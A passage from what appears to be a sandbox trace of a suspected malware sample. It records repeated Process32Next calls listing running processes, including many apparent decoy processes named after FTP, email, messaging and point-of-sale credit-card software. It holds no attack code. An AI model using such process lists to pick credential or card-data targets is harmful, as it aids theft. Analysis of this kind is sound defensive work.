th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.124] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.127] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.129] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.130] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0215.132] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0215.133] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0215.135] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.137] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0215.146] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0215.148] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0215.150] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0215.151] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0215.187] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0215.189] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0215.191] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.192] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0215.194] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0215.197] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0215.199] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0215.201] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0215.202] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0215.204] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0215.206] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0215.207] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0215.209] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0215.211] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0215.213] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0215.215] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0215.217] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0215.220] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0215.222] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0215.223] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0215.225] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0215.227] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0215.228] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0215.230] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0215.233] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0215.235] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0215.236] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0215.238] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0215.240] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0215.242] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0215.244] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0215.248] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0215.250] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0215.253] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0215.255] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0215.257] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0215.290] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0215.292] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0215.295] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0215.297] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0215.299] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0215.303] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0215.305] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0215.308] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0215.310] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0215.312] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0215.314] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0215.316] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0215.318] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0215.320] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0215.323] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0215.325] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0215.327] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0215.329] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0215.331] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0215.333] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0215.335] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0215.338] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0215.340] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0215.342] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0215.344] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0215.346] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0215.348] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0215.350] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0215.352] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0215.354] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0215.355] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0215.358] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0215.359] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0215.361] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.363] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: 